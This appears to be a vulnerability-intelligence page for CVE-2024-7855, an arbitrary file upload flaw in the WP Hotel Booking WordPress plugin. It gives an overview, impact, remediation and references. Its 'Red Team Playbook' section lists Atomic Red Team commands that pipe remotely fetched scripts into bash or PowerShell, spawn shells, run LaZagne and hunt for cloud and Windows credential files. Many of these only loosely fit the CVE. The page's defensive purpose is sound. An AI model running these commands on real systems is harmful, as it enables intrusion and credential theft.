CVE-2024-7855
Overview
This vulnerability is an arbitrary file upload flaw caused by the absence of proper file type validation within the update_review() function of the WP Hotel Booking WordPress plugin. The affected component is the review update mechanism, which processes user-supplied files without enforcing restrictions on file extensions or content type. This lack of validation allows unauthorized file types to be accepted and stored on the server.
Vulnerability Description
The WP Hotel Booking plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the update_review() function in all versions up to, and including, 2.1.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with subscriber-level authentication can upload arbitrary files to the web server, which may include executable scripts, leading to remote code execution. This enables unauthorized control over the affected site, potentially resulting in data compromise, site defacement, or pivoting within the network. The vulnerability requires authenticated access (PR:L) but no user interaction beyond authentication, and the attack can be performed remotely (AV:N) with low attack complexity (AC:L), as indicated by the CVSS vector.
Solution
Users should upgrade the WP Hotel Booking plugin to a version later than 2.1.2, where the file upload validation issue in the update_review() function has been addressed. Detailed patch information and remediation steps are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/784593ec-b635-4f59-9afb-ab506f786d21. Reviewing the plugin's changelog and applying the latest updates from the official WordPress plugin repository is recommended to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the WP Hotel Booking plugin for WordPress stems from inadequate file type validation within the update_review() function. This oversight allows authenticated users, even those with minimal privileges such as subscriber-level access, to upload arbitrary files to the server hosting the affected website. The lack of stringent checks on the file types being uploaded creates a significant security gap, as it opens the door for potential remote code execution. Attackers can exploit this vulnerability by uploading malicious scripts disguised as benign files, which can then be executed on the server, leading to unauthorized access and control over the web application.
Exploitation of this vulnerability can occur through several attack vectors. An authenticated attacker could leverage their access to upload a malicious file, such as a PHP script, which would then be executed by the web server. This could be done through a crafted request to the update_review() function, bypassing any restrictions that would normally prevent the upload of executable files. Once the malicious file is on the server, the attacker can execute it to gain a foothold, escalate privileges, or pivot to other systems within the network. Additionally, if the attacker can manipulate the file upload process, they may be able to overwrite existing files or compromise other components of the web application.
The real-world impact of this vulnerability is profound, particularly for businesses relying on the WP Hotel Booking plugin for their operations. Successful exploitation could lead to data breaches, where sensitive customer information is accessed or exfiltrated. Furthermore, the ability to execute arbitrary code could allow attackers to deploy malware, deface websites, or use the compromised server as part of a botnet for further attacks. The business risks associated with such incidents include financial losses, reputational damage, and potential legal ramifications due to non-compliance with data protection regulations. Organizations may also face downtime and recovery costs, further exacerbating the impact of a successful attack.
To detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. Regularly updating the WP Hotel Booking plugin to the latest version is crucial, as developers often release patches to address known vulnerabilities. Implementing a web application firewall (WAF) can help filter out malicious requests and prevent unauthorized file uploads. Additionally, organizations should conduct regular security audits and penetration testing to identify and remediate vulnerabilities before they can be exploited. Educating users about the importance of strong authentication practices and limiting user permissions can also reduce the risk of exploitation by ensuring that only trusted individuals have access to sensitive functionalities.
In conclusion, the vulnerability within the WP Hotel Booking plugin highlights the critical importance of robust file type validation in web applications. The potential for arbitrary file uploads poses significant risks to the integrity and security of affected systems. By understanding the technical details of the vulnerability, recognizing the various attack vectors, and implementing effective detection and mitigation strategies, organizations can better protect themselves against the threats posed by such vulnerabilities. Proactive security measures and continuous monitoring are essential in safeguarding against the evolving landscape of cyber threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Thimpress | Wp Hotel Booking | All |
cpe:2.3:a:thimpress:wp_hotel_booking:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-7855 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/784593ec-b635-4f59-9afb-ab506f786d21?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/wp-hotel-booking/trunk/includes/class-wphb-comments.php#L150 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3157905%40wp-hotel-booking&new=3157905%40wp-hotel-booking&sfp_email=&sfph_mail= |